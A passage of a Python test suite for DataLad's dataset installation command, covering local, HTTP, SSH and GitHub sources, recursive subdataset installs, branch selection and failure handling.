\\\"https://github.com/datalad/testrepo--basic--r1.git\\\"\\n sources = [src_ds.path,\\n get_local_file_url(src_ds.path, compatibility='git')]\\n if not dl_cfg.get('datalad.tests.nonetwork'):\\n sources.append(url)\\n\\n for src in sources:\\n origin = Dataset(path)\\n\\n # now install it somewhere else\\n ds = install(path, source=src, description='mydummy')\\n eq_(ds.path, path)\\n ok_(ds.is_installed())\\n if not isinstance(origin.repo, AnnexRepo):\\n # this means it is a GitRepo\\n ok_(isinstance(origin.repo, GitRepo))\\n # stays plain Git repo\\n ok_(isinstance(ds.repo, GitRepo))\\n ok_(not isinstance(ds.repo, AnnexRepo))\\n ok_(GitRepo.is_valid_repo(ds.path))\\n files = ds.repo.get_indexed_files()\\n assert_in('test.dat', files)\\n assert_in('INFO.txt', files)\\n assert_repo_status(path, annex=False)\\n else:\\n # must be an annex\\n ok_(isinstance(ds.repo, AnnexRepo))\\n ok_(AnnexRepo.is_valid_repo(ds.path, allow_noninitialized=False))\\n files = ds.repo.get_indexed_files()\\n assert_in('test.dat', files)\\n assert_in('INFO.txt', files)\\n assert_in('test-annex.dat', files)\\n assert_repo_status(path, annex=True)\\n # no content was installed:\\n ok_(not ds.repo.file_has_content('test-annex.dat'))\\n uuid_before = ds.repo.uuid\\n ok_(uuid_before) # we actually have an uuid\\n eq_(ds.repo.get_description(), 'mydummy')\\n\\n # installing it again, shouldn't matter:\\n res = install(path, source=src, result_xfm=None, return_type='list')\\n assert_status('notneeded', res)\\n ok_(ds.is_installed())\\n if isinstance(origin.repo, AnnexRepo):\\n eq_(uuid_before, ds.repo.uuid)\\n\\n # cleanup before next iteration\\n rmtree(path)\\n\\n\\n@known_failure_githubci_win\\n@with_tree(tree={'test.dat': \\\"doesn't matter\\\",\\n 'INFO.txt': \\\"some info\\\",\\n 'test-annex.dat': \\\"irrelevant\\\"})\\n@with_tempfile\\ndef test_install_dataset_from_just_source(src_repo=None, path=None):\\n\\n src_ds = Dataset(src_repo).create(result_renderer='disabled', force=True)\\n src_ds.save(['INFO.txt', 'test.dat'], to_git=True)\\n src_ds.save('test-annex.dat', to_git=False)\\n # equivalent repo on github:\\n src_url = \\\"https://github.com/datalad/testrepo--basic--r1.git\\\"\\n sources = [src_ds.path,\\n get_local_file_url(src_ds.path, compatibility='git')]\\n if not dl_cfg.get('datalad.tests.nonetwork'):\\n sources.append(src_url)\\n\\n for url in sources:\\n\\n with chpwd(path, mkdir=True):\\n ds = install(source=url)\\n\\n ok_startswith(ds.path, path)\\n ok_(ds.is_installed())\\n ok_(GitRepo.is_valid_repo(ds.path))\\n assert_repo_status(ds.path, annex=None)\\n assert_in('INFO.txt', ds.repo.get_indexed_files())\\n\\n # cleanup before next iteration\\n rmtree(path)\\n\\n\\n@with_tree(tree={'test.dat': \\\"doesn't matter\\\",\\n 'INFO.txt': \\\"some info\\\",\\n 'test-annex.dat': \\\"irrelevant\\\"})\\n@with_tempfile(mkdir=True)\\ndef test_install_dataset_from_instance(src=None, dst=None):\\n origin = Dataset(src).create(result_renderer='disabled', force=True)\\n origin.save(['INFO.txt', 'test.dat'], to_git=True)\\n origin.save('test-annex.dat', to_git=False)\\n\\n clone = install(source=origin, path=dst)\\n\\n assert_is_instance(clone, Dataset)\\n ok_startswith(clone.path, dst)\\n ok_(clone.is_installed())\\n ok_(GitRepo.is_valid_repo(clone.path))\\n assert_repo_status(clone.path, annex=None)\\n assert_in('INFO.txt', clone.repo.get_indexed_files())\\n\\n\\n@known_failure_githubci_win\\n@skip_if_no_network\\n@with_tempfile\\ndef test_install_dataset_from_just_source_via_path(path=None):\\n # for remote urls only, the source could be given to `path`\\n # to allows for simplistic cmdline calls\\n\\n url = \\\"https://github.com/datalad/testrepo--basic--r1.git\\\"\\n\\n with chpwd(path, mkdir=True):\\n ds = install(url)\\n\\n ok_startswith(ds.path, path)\\n ok_(ds.is_installed())\\n ok_(GitRepo.is_valid_repo(ds.path))\\n assert_repo_status(ds.path, annex=None)\\n assert_in('INFO.txt', ds.repo.get_indexed_files())\\n\\n\\n@with_tree(tree={\\n 'ds': {'test.txt': 'some'},\\n })\\n@serve_path_via_http\\n@with_tempfile(mkdir=True)\\ndef test_install_dataladri(src=None, topurl=None, path=None):\\n # make plain git repo\\n ds_path = opj(src, 'ds')\\n gr = GitRepo(ds_path, create=True)\\n gr.add('test.txt')\\n gr.commit('demo')\\n Runner(cwd=gr.path).run(['git', 'update-server-info'])\\n # now install it somewhere else\\n with patch('datalad.consts.DATASETS_TOPURL', topurl), \\\\\\n swallow_logs():\\n ds = install(path, source='///ds')\\n eq_(ds.path, path)\\n assert_repo_status(path, annex=False)\\n ok_file_has_content(opj(path, 'test.txt'), 'some')\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_install_recursive(src=None, path_nr=None, path_r=None):\\n\\n _make_dataset_hierarchy(src)\\n\\n # first install non-recursive:\\n ds = install(path_nr, source=src, recursive=False)\\n ok_(ds.is_installed())\\n for sub in ds.subdatasets(recursive=True, result_xfm='datasets'):\\n ok_(not sub.is_installed(),\\n \\\"Unintentionally installed: %s\\\" % (sub,))\\n # this also means, subdatasets to be listed as absent:\\n eq_(set(ds.subdatasets(recursive=True, state='absent', result_xfm='relpaths')),\\n {'sub1'})\\n\\n # now recursively:\\n # don't filter implicit results so we can inspect them\\n res = install(path_r, source=src, recursive=True,\\n result_xfm=None, result_filter=None)\\n # installed a dataset and four subdatasets\\n assert_result_count(res, 5, action='install', type='dataset')\\n # we recurse top down during installation, so toplevel should appear at\\n # first position in returned list\\n eq_(res[0]['path'], path_r)\\n top_ds = Dataset(res[0]['path'])\\n ok_(top_ds.is_installed())\\n\\n # the subdatasets are contained in returned list:\\n # (Note: Until we provide proper (singleton) instances for Datasets,\\n # need to check for their paths)\\n assert_in_results(res, path=opj(top_ds.path, 'sub1'), type='dataset')\\n assert_in_results(res, path=opj(top_ds.path, 'sub1', 'sub2'),\\n type='dataset')\\n assert_in_results(res, path=opj(top_ds.path, 'sub1', 'sub2', 'sub3'),\\n type='dataset')\\n assert_in_results(res, path=opj(top_ds.path, 'sub1', 'sub2', 'sub3',\\n 'sub4'),\\n type='dataset')\\n\\n eq_(len(top_ds.subdatasets(recursive=True)), 4)\\n\\n for subds in top_ds.subdatasets(recursive=True, result_xfm='datasets'):\\n ok_(subds.is_installed(),\\n \\\"Not installed: %s\\\" % (subds,))\\n # no content was installed:\\n ainfo = subds.repo.get_content_annexinfo(init=None,\\n eval_availability=True)\\n assert_false(any(st[\\\"has_content\\\"] for st in ainfo.values()))\\n # no absent subdatasets:\\n ok_(top_ds.subdatasets(recursive=True, state='absent') == [])\\n\\n # check if we can install recursively into a dataset\\n # https://github.com/datalad/datalad/issues/2982\\n subds = ds.install('recursive-in-ds', source=src, recursive=True)\\n ok_(subds.is_installed())\\n for subsub in subds.subdatasets(recursive=True, result_xfm='datasets'):\\n ok_(subsub.is_installed())\\n\\n # check that we get subdataset instances manufactured from notneeded results\\n # to install existing subdatasets again\\n eq_(subds, ds.install('recursive-in-ds'))\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_install_recursive_with_data(src=None, path=None):\\n\\n _make_dataset_hierarchy(src)\\n\\n # now again; with data:\\n res = install(path, source=src, recursive=True, get_data=True,\\n result_filter=None, result_xfm=None)\\n assert_status('ok', res)\\n # installed a dataset and two subdatasets, and one file with content in\\n # each\\n assert_result_count(res, 5, type='dataset', action='install')\\n assert_result_count(res, 2, type='file', action='get')\\n # we recurse top down during installation, so toplevel should appear at\\n # first position in returned list\\n eq_(res[0]['path'], path)\\n top_ds = YieldDatasets()(res[0])\\n ok_(top_ds.is_installed())\\n\\n def all_have_content(repo):\\n ainfo = repo.get_content_annexinfo(init=None, eval_availability=True)\\n return all(st[\\\"has_content\\\"] for st in ainfo.values())\\n\\n if isinstance(top_ds.repo, AnnexRepo):\\n ok_(all_have_content(top_ds.repo))\\n\\n for subds in top_ds.subdatasets(recursive=True, result_xfm='datasets'):\\n ok_(subds.is_installed(), \\\"Not installed: %s\\\" % (subds,))\\n if isinstance(subds.repo, AnnexRepo):\\n ok_(all_have_content(subds.repo))\\n\\n\\n@with_tree(tree={'test.dat': \\\"doesn't matter\\\",\\n 'INFO.txt': \\\"some info\\\",\\n 'test-annex.dat': \\\"irrelevant\\\"})\\n# 'local-url', 'network'\\n# TODO: Somehow annex gets confused while initializing installed ds, whose\\n# .git/config show a submodule url \\\"file:///aaa/bbb%20b/...\\\"\\n# this is delivered by with_testrepos as the url to clone\\n@with_tempfile\\ndef test_install_into_dataset(source=None, top_path=None):\\n src_ds = Dataset(source).create(result_renderer='disabled', force=True)\\n src_ds.save(['INFO.txt', 'test.dat'], to_git=True)\\n src_ds.save('test-annex.dat', to_git=False)\\n\\n ds = create(top_path)\\n assert_repo_status(ds.path)\\n\\n subds = ds.install(\\\"sub\\\", source=source)\\n ok_(isdir(opj(subds.path, '.git')))\\n ok_(subds.is_installed())\\n assert_in('sub', ds.subdatasets(result_xfm='relpaths'))\\n # sub is clean:\\n assert_repo_status(subds.path, annex=None)\\n # top is too:\\n assert_repo_status(ds.path, annex=None)\\n ds.save(message='addsub')\\n # now it is:\\n assert_repo_status(ds.path, annex=None)\\n\\n # but we could also save while installing and there should be no side-effect\\n # of saving any other changes if we state to not auto-save changes\\n # Create a dummy change\\n create_tree(ds.path, {'dummy.txt': 'buga'})\\n assert_repo_status(ds.path, untracked=['dummy.txt'])\\n subds_ = ds.install(\\\"sub2\\\", source=source)\\n eq_(subds_.path, opj(ds.path, \\\"sub2\\\")) # for paranoid yoh ;)\\n assert_repo_status(ds.path, untracked=['dummy.txt'])\\n\\n # and we should achieve the same behavior if we create a dataset\\n # and then decide to add it\\n create(_path_(top_path, 'sub3'))\\n assert_repo_status(ds.path, untracked=['dummy.txt', 'sub3/'])\\n ds.save('sub3')\\n assert_repo_status(ds.path, untracked=['dummy.txt'])\\n\\n\\n@slow # 15sec on Yarik's laptop\\n@usecase # 39.3074s\\n@skip_if_no_network\\n@with_tempfile\\ndef test_failed_install_multiple(top_path=None):\\n ds = create(top_path)\\n\\n create(_path_(top_path, 'ds1'))\\n create(_path_(top_path, 'ds3'))\\n assert_repo_status(ds.path, annex=None, untracked=['ds1/', 'ds3/'])\\n\\n # specify install with multiple paths and one non-existing\\n with assert_raises(IncompleteResultsError) as cme:\\n ds.install(['ds1', 'ds2', '///crcns', '///nonexisting', 'ds3'],\\n on_failure='continue')\\n\\n # install doesn't add existing submodules -- add does that\\n assert_repo_status(ds.path, annex=None, untracked=['ds1/', 'ds3/'])\\n ds.save(['ds1', 'ds3'])\\n assert_repo_status(ds.path, annex=None)\\n # those which succeeded should be saved now\\n eq_(ds.subdatasets(result_xfm='relpaths'), ['crcns', 'ds1', 'ds3'])\\n # and those which didn't -- listed\\n eq_(set(r.get('source_url', r['path']) for r in cme.value.failed),\\n {'///nonexisting', _path_(top_path, 'ds2')})\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_install_known_subdataset(src=None, path=None):\\n\\n _mk_submodule_annex(src, fname=\\\"test-annex.dat\\\", fcontent=\\\"whatever\\\")\\n\\n # get the superdataset:\\n ds = install(path, source=src)\\n # subdataset not installed:\\n subds = Dataset(opj(path, 'subm 1'))\\n assert_false(subds.is_installed())\\n assert_in('subm 1', ds.subdatasets(state='absent', result_xfm='relpaths'))\\n assert_not_in('subm 1', ds.subdatasets(state='present', result_xfm='relpaths'))\\n # install it:\\n ds.install('subm 1')\\n ok_(subds.is_installed())\\n ok_(AnnexRepo.is_valid_repo(subds.path, allow_noninitialized=False))\\n # Verify that it is the correct submodule installed and not\\n # new repository initiated\\n assert_in(\\\"test-annex.dat\\\", subds.repo.get_indexed_files()),\\n assert_not_in('subm 1', ds.subdatasets(state='absent', result_xfm='relpaths'))\\n assert_in('subm 1', ds.subdatasets(state='present', result_xfm='relpaths'))\\n\\n # now, get the data by reinstalling with -g:\\n ok_(subds.repo.file_has_content('test-annex.dat') is False)\\n with chpwd(ds.path):\\n result = get(path='subm 1', dataset=os.curdir)\\n assert_in_results(result, path=opj(subds.path, 'test-annex.dat'))\\n ok_(subds.repo.file_has_content('test-annex.dat') is True)\\n ok_(subds.is_installed())\\n\\n\\n@slow # 46.3650s\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_implicit_install(src=None, dst=None):\\n\\n origin_top = create(src)\\n origin_sub = origin_top.create(\\\"sub\\\")\\n origin_subsub = origin_sub.create(\\\"subsub\\\")\\n with open(opj(origin_top.path, \\\"file1.txt\\\"), \\\"w\\\") as f:\\n f.write(\\\"content1\\\")\\n origin_top.save(\\\"file1.txt\\\")\\n with open(opj(origin_sub.path, \\\"file2.txt\\\"), \\\"w\\\") as f:\\n f.write(\\\"content2\\\")\\n origin_sub.save(\\\"file2.txt\\\")\\n with open(opj(origin_subsub.path, \\\"file3.txt\\\"), \\\"w\\\") as f:\\n f.write(\\\"content3\\\")\\n origin_subsub.save(\\\"file3.txt\\\")\\n origin_top.save(recursive=True)\\n\\n # first, install toplevel:\\n ds = install(dst, source=src)\\n ok_(ds.is_installed())\\n\\n sub = Dataset(opj(ds.path, \\\"sub\\\"))\\n ok_(not sub.is_installed())\\n subsub = Dataset(opj(sub.path, \\\"subsub\\\"))\\n ok_(not subsub.is_installed())\\n\\n # fail on obscure non-existing one\\n assert_raises(IncompleteResultsError, ds.install, source='obscure')\\n\\n # install 3rd level and therefore implicitly the 2nd:\\n result = ds.install(path=opj(\\\"sub\\\", \\\"subsub\\\"))\\n ok_(sub.is_installed())\\n ok_(subsub.is_installed())\\n # but by default implicit results are not reported\\n eq_(result, subsub)\\n\\n # fail on obscure non-existing one in subds\\n assert_raises(IncompleteResultsError, ds.install, source=opj('sub', 'obscure'))\\n\\n # clean up, the nasty way\\n rmtree(dst, chmod_files=True)\\n ok_(not exists(dst))\\n\\n # again first toplevel:\\n ds = install(dst, source=src)\\n ok_(ds.is_installed())\\n sub = Dataset(opj(ds.path, \\\"sub\\\"))\\n ok_(not sub.is_installed())\\n subsub = Dataset(opj(sub.path, \\\"subsub\\\"))\\n ok_(not subsub.is_installed())\\n\\n # now implicit but without an explicit dataset to install into\\n # (deriving from CWD):\\n with chpwd(dst):\\n # don't ask for the file content to make return value comparison\\n # simpler\\n result = get(path=opj(\\\"sub\\\", \\\"subsub\\\"), get_data=False, result_xfm='datasets')\\n ok_(sub.is_installed())\\n ok_(subsub.is_installed())\\n eq_(result, [sub, subsub])\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_failed_install(dspath=None):\\n ds = create(dspath)\\n assert_raises(IncompleteResultsError,\\n ds.install,\\n \\\"sub\\\",\\n source=\\\"http://nonexistingreallyanything.datalad.org/bla\\\")\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_install_list(path=None, top_path=None):\\n\\n _mk_submodule_annex(path, fname=\\\"test-annex.dat\\\", fcontent=\\\"whatever\\\")\\n\\n # we want to be able to install several things, if these are known\\n # (no 'source' allowed). Therefore first toplevel:\\n ds = install(top_path, source=path, recursive=False)\\n assert_not_in('annex.hardlink', ds.config)\\n ok_(ds.is_installed())\\n sub1 = Dataset(opj(top_path, 'subm 1'))\\n sub2 = Dataset(opj(top_path, '2'))\\n ok_(not sub1.is_installed())\\n ok_(not sub2.is_installed())\\n\\n # fails, when `source` is passed:\\n assert_raises(ValueError, ds.install,\\n path=['subm 1', '2'],\\n source='something')\\n\\n # now should work:\\n result = ds.install(path=['subm 1', '2'], result_xfm='paths')\\n ok_(sub1.is_installed())\\n ok_(sub2.is_installed())\\n eq_(set(result), {sub1.path, sub2.path})\\n # and if we request it again via get, result should be empty\\n get_result = ds.get(path=['subm 1', '2'], get_data=False)\\n assert_status('notneeded', get_result)\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_reckless(path=None, top_path=None):\\n _mk_submodule_annex(path, fname=\\\"test-annex.dat\\\", fcontent=\\\"whatever\\\")\\n\\n ds = install(top_path, source=path, reckless=True)\\n eq_(ds.config.get('annex.hardlink', None), 'true')\\n eq_(ds.repo.repo_info()['untrusted repositories'][0]['here'], True)\\n\\n\\n@with_tree(tree={'top_file.txt': 'some',\\n 'sub 1': {'sub1file.txt': 'something else',\\n 'subsub': {'subsubfile.txt': 'completely different',\\n }\\n },\\n 'sub 2': {'sub2file.txt': 'meaningless',\\n }\\n })\\n@with_tempfile(mkdir=True)\\ndef test_install_recursive_repeat(src=None, path=None):\\n top_src = Dataset(src).create(force=True)\\n sub1_src = top_src.create('sub 1', force=True)\\n sub2_src = top_src.create('sub 2', force=True)\\n subsub_src = sub1_src.create('subsub', force=True)\\n top_src.save(recursive=True)\\n assert_repo_status(top_src.path)\\n\\n # install top level:\\n top_ds = install(path, source=src)\\n ok_(top_ds.is_installed() is True)\\n sub1 = Dataset(opj(path, 'sub 1'))\\n ok_(sub1.is_installed() is False)\\n sub2 = Dataset(opj(path, 'sub 2'))\\n ok_(sub2.is_installed() is False)\\n subsub = Dataset(opj(path, 'sub 1', 'subsub'))\\n ok_(subsub.is_installed() is False)\\n\\n # install again, now with data and recursive, but recursion_limit 1:\\n result = get(path, dataset=path, recursive=True, recursion_limit=1,\\n result_xfm='datasets')\\n # top-level dataset was not reobtained\\n assert_not_in(top_ds, result)\\n assert_in(sub1, result)\\n assert_in(sub2, result)\\n assert_not_in(subsub, result)\\n ok_(top_ds.repo.file_has_content('top_file.txt') is True)\\n ok_(sub1.repo.file_has_content('sub1file.txt') is True)\\n ok_(sub2.repo.file_has_content('sub2file.txt') is True)\\n\\n # install sub1 again, recursively and with data\\n top_ds.install('sub 1', recursive=True, get_data=True)\\n ok_(subsub.is_installed())\\n ok_(subsub.repo.file_has_content('subsubfile.txt'))\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\n@with_tempfile\\ndef test_install_skip_list_arguments(src=None, path=None, path_outside=None):\\n _mk_submodule_annex(src, fname=\\\"test-annex.dat\\\", fcontent=\\\"whatever\\\")\\n\\n ds = install(path, source=src)\\n ok_(ds.is_installed())\\n\\n # install a list with valid and invalid items:\\n result = ds.install(\\n path=['subm 1', 'not_existing', path_outside, '2'],\\n get_data=False,\\n on_failure='ignore', result_xfm=None, return_type='list')\\n # good and bad results together\\n ok_(isinstance(result, list))\\n eq_(len(result), 4)\\n # check that we have an 'impossible/error' status for both invalid args\\n # but all the other tasks have been accomplished\\n assert_result_count(\\n result, 1, status='impossible', message=\\\"path does not exist\\\",\\n path=opj(ds.path, 'not_existing'))\\n assert_result_count(\\n result, 1, status='error',\\n message=(\\\"path not associated with dataset %s\\\", ds),\\n path=path_outside)\\n for sub in [Dataset(opj(path, 'subm 1')), Dataset(opj(path, '2'))]:\\n assert_result_count(\\n result, 1, status='ok',\\n message=('Installed subdataset in order to get %s', sub.path))\\n ok_(sub.is_installed())\\n\\n # return of get is always a list, by default, even if just one thing was gotten\\n # in this case 'subm1' was already obtained above, so this will get this\\n # content of the subdataset\\n with assert_raises(IncompleteResultsError) as cme:\\n ds.install(path=['subm 1', 'not_existing'])\\n with assert_raises(IncompleteResultsError) as cme:\\n ds.get(path=['subm 1', 'not_existing'])\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_install_skip_failed_recursive(src=None, path=None):\\n _mk_submodule_annex(src, fname=\\\"test-annex.dat\\\", fcontent=\\\"whatever\\\")\\n\\n # install top level:\\n ds = install(path, source=src)\\n sub1 = Dataset(opj(path, 'subm 1'))\\n sub2 = Dataset(opj(path, '2'))\\n # sabotage recursive installation of 'subm 1' by polluting the target:\\n with open(opj(path, 'subm 1', 'blocking.txt'), \\\"w\\\") as f:\\n f.write(\\\"sdfdsf\\\")\\n\\n with swallow_logs(new_level=logging.WARNING) as cml:\\n result = ds.get(\\n os.curdir, recursive=True,\\n on_failure='ignore', result_xfm=None)\\n # toplevel dataset was in the house already\\n assert_result_count(\\n result, 0, path=ds.path, type='dataset')\\n # subm 1 should fail to install. [1] since comes after '2' submodule\\n assert_in_results(\\n result, status='error', path=sub1.path, type='dataset',\\n message='target path already exists and not empty, refuse to '\\n 'clone into target path')\\n assert_in_results(result, status='ok', path=sub2.path)\\n\\n\\n@with_tree(tree={'top_file.txt': 'some',\\n 'sub 1': {'sub1file.txt': 'something else',\\n 'subsub': {'subsubfile.txt': 'completely different',\\n }\\n },\\n 'sub 2': {'sub2file.txt': 'meaningless',\\n }\\n })\\n@with_tempfile(mkdir=True)\\ndef test_install_noautoget_data(src=None, path=None):\\n subsub_src = Dataset(opj(src, 'sub 1', 'subsub')).create(force=True)\\n sub1_src = Dataset(opj(src, 'sub 1')).create(force=True)\\n sub2_src = Dataset(opj(src, 'sub 2')).create(force=True)\\n top_src = Dataset(src).create(force=True)\\n top_src.save(recursive=True)\\n\\n # install top level:\\n # don't filter implicitly installed subdataset to check them for content\\n cdss = install(path, source=src, recursive=True, result_filter=None)\\n # there should only be datasets in the list of installed items,\\n # and none of those should have any data for their annexed files yet\\n for ds in cdss:\\n ainfo = ds.repo.get_content_annexinfo(init=None,\\n eval_availability=True)\\n assert_false(any(st[\\\"has_content\\\"] for st in ainfo.values()))\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_install_source_relpath(src=None, dest=None):\\n ds1 = create(src)\\n src_ = basename(src)\\n with chpwd(dirname(src)):\\n ds2 = install(dest, source=src_)\\n\\n\\n@known_failure_windows #FIXME\\n@integration # 41.2043s\\n@with_tempfile\\n@with_tempfile\\n@with_tempfile\\n@with_tempfile\\ndef test_install_consistent_state(src=None, dest=None, dest2=None, dest3=None):\\n # if we install a dataset, where sub-dataset \\\"went ahead\\\" in that branch,\\n # while super-dataset was not yet updated (e.g. we installed super before)\\n # then it is desired to get that default installed branch to get to the\\n # position where previous location was pointing to.\\n # It is indeed a mere heuristic which might not hold the assumption in some\\n # cases, but it would work for most simple and thus mostly used ones\\n ds1 = create(src)\\n sub1 = ds1.create('sub1')\\n\\n def check_consistent_installation(ds):\\n datasets = [ds] + list(\\n map(Dataset, ds.subdatasets(recursive=True, state='present',\\n result_xfm='paths')))\\n assert len(datasets) == 2 # in this test\\n for ds in datasets:\\n # all of them should be in the default branch\\n eq_(ds.repo.get_active_branch(), DEFAULT_BRANCH)\\n # all of them should be clean, so sub should be installed in a \\\"version\\\"\\n # as pointed by the super\\n ok_(not ds.repo.dirty)\\n\\n dest_ds = install(dest, source=src)\\n # now we progress sub1 by adding sub2\\n subsub2 = sub1.create('sub2')\\n\\n # and progress subsub2 forward to stay really thorough\\n put_file_under_git(subsub2.path, 'file.dat', content=\\\"data\\\")\\n subsub2.save(message=\\\"added a file\\\") # above function does not commit\\n\\n # just installing a submodule -- apparently different code/logic\\n # but also the same story should hold - we should install the version pointed\\n # by the super, and stay all clean\\n dest_sub1 = dest_ds.install('sub1')\\n check_consistent_installation(dest_ds)\\n\\n # So now we have source super-dataset \\\"dirty\\\" with sub1 progressed forward\\n # Our install should try to \\\"retain\\\" consistency of the installation\\n # whenever possible.\\n\\n # install entire hierarchy without specifying dataset\\n # no filter, we want full report\\n dest2_ds = install(dest2, source=src, recursive=True, result_filter=None)\\n check_consistent_installation(dest2_ds[0]) # [1] is the subdataset\\n\\n # install entire hierarchy by first installing top level ds\\n # and then specifying sub-dataset\\n dest3_ds = install(dest3, source=src, recursive=False)\\n # and then install both submodules recursively while pointing\\n # to it based on dest3_ds\\n dest3_ds.install('sub1', recursive=True)\\n check_consistent_installation(dest3_ds)\\n\\n # TODO: makes a nice use-case for an update operation\\n\\n\\n@skip_ssh\\n@with_tempfile\\n@with_tempfile\\ndef test_install_subds_with_space(opath=None, tpath=None):\\n ds = create(opath)\\n ds.create('sub ds')\\n # works even now, boring\\n # install(tpath, source=opath, recursive=True)\\n if on_windows:\\n # on windows we cannot simply prepend datalad-test: to a path\\n # and get a working sshurl...\\n install(tpath, source=opath, recursive=True)\\n else:\\n # do via ssh!\\n install(tpath, source=\\\"datalad-test:\\\" + opath, recursive=True)\\n assert Dataset(opj(tpath, 'sub ds')).is_installed()\\n\\n\\n# https://github.com/datalad/datalad/issues/2232\\n@with_tempfile\\n@with_tempfile\\ndef test_install_from_tilda(opath=None, tpath=None):\\n ds = create(opath)\\n ds.create('sub ds')\\n orelpath = os.path.join(\\n '~',\\n os.path.relpath(opath, os.path.expanduser('~'))\\n )\\n assert orelpath.startswith('~') # just to make sure no normalization\\n install(tpath, source=orelpath, recursive=True)\\n assert Dataset(opj(tpath, 'sub ds')).is_installed()\\n\\n\\n@skip_if_on_windows # create_sibling incompatible with win servers\\n@skip_ssh\\n@usecase\\n@with_tempfile(mkdir=True)\\ndef test_install_subds_from_another_remote(topdir=None):\\n # https://github.com/datalad/datalad/issues/1905\\n from datalad.support.network import PathRI\\n with chpwd(topdir):\\n origin_ = 'origin'\\n clone1_ = 'clone1'\\n clone2_ = 'clone2'\\n\\n origin = create(origin_, annex=False)\\n clone1 = install(source=origin, path=clone1_)\\n # print(\\\"Initial clone\\\")\\n clone1.create_sibling('ssh://datalad-test%s/%s' % (PathRI(getpwd()).posixpath, clone2_), name=clone2_)\\n\\n # print(\\\"Creating clone2\\\")\\n clone1.push(to=clone2_)\\n clone2 = Dataset(clone2_)\\n # print(\\\"Initiating subdataset\\\")\\n clone2.create('subds1')\\n\\n # print(\\\"Updating\\\")\\n clone1.update(merge=True, sibling=clone2_)\\n # print(\\\"Installing within updated dataset -- should be able to install from clone2\\\")\\n clone1.install('subds1')\\n\\n\\n# Takes > 2 sec\\n# Do not use cassette\\n@pytest.mark.parametrize(\\\"suffix\\\", [\\\"\\\", \\\"/.git\\\"])\\n@skip_if_no_network\\n@with_tempfile\\ndef test_datasets_datalad_org(tdir=None, *, suffix):\\n # Test that git annex / datalad install, get work correctly on our datasets.datalad.org\\n # Apparently things can break, especially with introduction of the\\n # smart HTTP backend for apache2 etc\\n ds = install(tdir, source='///dicoms/dartmouth-phantoms/bids_test6-PD+T2w' + suffix)\\n eq_(ds.config.get(f'remote.{DEFAULT_REMOTE}.annex-ignore', None),\\n None)\\n # assert_result_count and not just assert_status since for some reason on\\n # Windows we get two records due to a duplicate attempt (as res[1]) to get it\\n # again, which is reported as \\\"notneeded\\\". For the purpose of this test\\n # it doesn't make a difference.\\n assert_result_count(\\n ds.get(op.join('001-anat-scout_ses-{date}', '000001.dcm')),\\n 1,\\n status='ok')\\n assert_status('ok', ds.drop(what='all', reckless='kill', recursive=True))\\n\\n\\n# https://github.com/datalad/datalad/issues/3469\\n@with_tempfile(mkdir=True)\\ndef test_relpath_semantics(path=None):\\n with chpwd(path):\\n super = create('super')\\n create('subsrc')\\n sub = install(\\n dataset='super', source='subsrc', path=op.join('super', 'sub'))\\n eq_(sub.path, op.join(super.path, 'sub'))\\n\\n\\n@with_tempfile(mkdir=True)\\n@serve_path_via_http\\ndef test_install_branch(path=None, url=None):\\n path = Path(path)\\n ds_a = create(path / \\\"ds_a\\\")\\n ds_a.create(\\\"sub\\\")\\n\\n repo_a = ds_a.repo\\n repo_a.commit(msg=\\\"c1\\\", options=[\\\"--allow-empty\\\"])\\n repo_a.checkout(DEFAULT_BRANCH + \\\"-other\\\", [\\\"-b\\\"])\\n repo_a.commit(msg=\\\"c2\\\", options=[\\\"--allow-empty\\\"])\\n repo_a.checkout(DEFAULT_BRANCH)\\n\\n # Clone from URL with custom branch specified should work\\n assert ds_a.repo.call_git_success(['update-server-info'])\\n tmp_path = path / \\\"tmp\\\"\\n os.mkdir(tmp_path)\\n with chpwd(tmp_path):\\n ds_b = install(url + \\\"ds_a/.git\\\", branch=DEFAULT_BRANCH + \\\"-other\\\")\\n repo_b = ds_b.repo\\n eq_(repo_b.get_corresponding_branch() or repo_b.get_active_branch(),\\n DEFAULT_BRANCH + \\\"-other\\\")\\n\\n ds_b = install(source=ds_a.path, path=str(path / \\\"ds_b\\\"),\\n branch=DEFAULT_BRANCH + \\\"-other\\\", recursive=True)\\n\\n repo_b = ds_b.repo\\n eq_(repo_b.get_corresponding_branch() or repo_b.get_active_branch(),\\n DEFAULT_BRANCH + \\\"-other\\\")\\n\\n repo_sub = Dataset(ds_b.pathobj / \\\"sub\\\").repo\\n eq_(repo_sub.get_corresponding_branch() or repo_sub.get_active_branch(),\\n DEFAULT_BRANCH)\\n\\n\\ndef _create_test_install_recursive_github(path): # pragma: no cover\\n # to be ran once to populate a hierarchy of test datasets on github\\n # Making it a full round-trip would require github credentials on CI etc\\n ds = create(opj(path, \\\"testrepo gh\\\"))\\n # making them with spaces and - to ensure that we consistently use the mapping\\n # for create and for get/clone/install\\n ds.create(\\\"sub _1\\\")\\n ds.create(\\\"sub _1/d/sub_- 1\\\")\\n import datalad.distribution.create_sibling_github # to bind API\\n ds.create_sibling_github(\\n \\\"testrepo gh\\\",\\n github_organization='datalad',\\n recursive=True,\\n # yarik forgot to push first, \\\"replace\\\" is not working in non-interactive IIRC\\n # existing='reconfigure'\\n )\\n return ds.push(recursive=True, to='github')\\n\\n\\n@skip_if_no_network\\n@with_tempfile(mkdir=True)\\ndef test_install_recursive_github(path=None):\\n # test recursive installation of a hierarchy of datasets created on github\\n # using datalad create-sibling-github. Following invocation was used to poplate it\\n #\\n # out = _create_test_install_recursive_github(path)\\n\\n # \\\"testrepo gh\\\" was mapped by our sanitization in create_sibling_github to testrepo_gh, thus\\n for i, url in enumerate([\\n 'https://github.com/datalad/testrepo_gh',\\n # optionally made available to please paranoids, but with all takes too long (22sec)\\n #'https://github.com/datalad/testrepo_gh.git',\\n 